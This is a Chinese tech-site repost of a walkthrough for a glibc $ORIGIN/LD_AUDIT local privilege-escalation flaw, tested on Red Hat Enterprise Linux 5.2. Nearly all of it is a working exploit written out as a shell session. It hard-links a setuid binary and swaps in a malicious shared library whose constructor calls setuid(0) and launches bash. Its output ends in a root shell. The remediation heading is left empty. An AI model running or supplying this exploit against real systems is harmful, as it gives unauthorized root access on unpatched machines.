linux(cve

编程入门 行业动态 更新时间:2024-10-20 11:46:32

<a href=https://www.elefans.com/category/jswz/34/1770067.html style=linux(cve"/>

linux(cve

在Red Hat Enterprise Linux Server release 5.2 (Tikanga)测试是可以的

摘要:$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升,具体过程如下:

# 在/tmp...

$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升,具体过程如下:

# 在/tmp下创建可控制的目录

$ mkdir /tmp/exploit

# 链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

# 打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

# 现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

# 删除之前所创建的目录

$ rm -rf /tmp/exploit/

# /proc链接仍存在,但已标记为已被删除

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=500(taviso)

本文转自 ☆★ 黑白前线 ★☆ - 转载请注明出处,侵权必究!

原文链接:

解决办法:

更多推荐

linux(cve

本文发布于:2024-03-23 22:54:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1743806.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:linux   cve

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!